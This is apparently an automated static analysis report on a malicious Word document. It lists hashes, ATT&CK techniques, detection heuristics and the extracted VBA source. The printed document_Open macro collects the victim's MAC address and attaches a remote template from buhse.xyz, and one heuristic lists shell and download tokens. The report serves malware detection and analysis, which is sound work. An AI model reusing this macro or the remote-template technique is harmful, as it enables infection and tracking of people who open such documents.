Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 aa566eed1cbb86da…

MALICIOUS

Office (OOXML)

23.8 KB Created: 2020-07-02 12:15:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-04
MD5: fc8dd2dc60ccbd85c6f6fa80fde1e96f SHA-1: 4d6985d450e3c7c53203e30bf3b2f663cdcd6a5c SHA-256: aa566eed1cbb86dab04e170f71213a885832a58737fcab76be63e55f9c60b492
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a `document_Open` subroutine that executes when the document is opened. This macro attempts to construct a URL using the victim's MAC address and download a template from 'http://buhse.xyz/'. The `GetObject` call and the `document_Open` macro firing indicate malicious intent to execute code and potentially download further payloads.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set GYJvhpEcEe = GetObject("winmgmts:\\.\root\cimv2")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://buhse.xyz/ In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1894 bytes
SHA-256: 53b87eb82c4e656c4ca1d4e814b23e513a88683309b16bac972ab01fec5f5494
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub document_Open()
On Error Resume Next
Set GYJvhpEcEe = GetObject("winmgmts:\\.\root\cimv2")
Set xGerhJFFtK = GYJvhpEcEe.ExecQuery("Select * from Win32_NetworkAdapter where physicaladapter=true")
GAxDHwfkpE = ""
For Each objBIOS In xGerhJFFtK
If Not IsNull(objBIOS.MACAddress) Then
GAxDHwfkpE = Replace(objBIOS.MACAddress, ":", "")
End If
Next
Set GYJvhpEcEe = Nothing
ActiveDocument.AttachedTemplate = "http://buhse.xyz/" + GAxDHwfkpE + "/lib/cache/cjoimBHP.dot"
End Sub


Attribute VB_Name = "NewMacros"
Sub CLEANER()
  
    Application.ScreenUpdating = False

    With ActiveDocument
        .RemoveDocumentInformation (wdRDIVersions)
        .RemoveDocumentInformation (wdRDIRemovePersonalInformation)
        .RemoveDocumentInformation (wdRDIEmailHeader)
        .RemoveDocumentInformation (wdRDIRoutingSlip)
        .RemoveDocumentInformation (wdRDISendForReview)
        .RemoveDocumentInformation (wdRDIDocumentProperties)
        .RemoveDocumentInformation (wdRDITemplate)
        .RemoveDocumentInformation (wdRDIInkAnnotations)
        .RemoveDocumentInformation (wdRDIDocumentServerProperties)
        .RemoveDocumentInformation (wdRDIDocumentManagementPolicy)
        .RemoveDocumentInformation (wdRDIContentType)
    End With
    Set fd = Application.FileDialog(msoFileDialogSaveAs)
        With fd
            If .Show Then
                ActiveDocument.SaveAs2 FileName:=.SelectedItems(1), FileFormat:=wdNormal
            End If
        End With
    Set fd = Nothing
    Application.ScreenUpdating = True
    End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: b3f3d781ce24bdca1ebc1694c4e520655a27c8218e1df7dc7062f2a86fb45595

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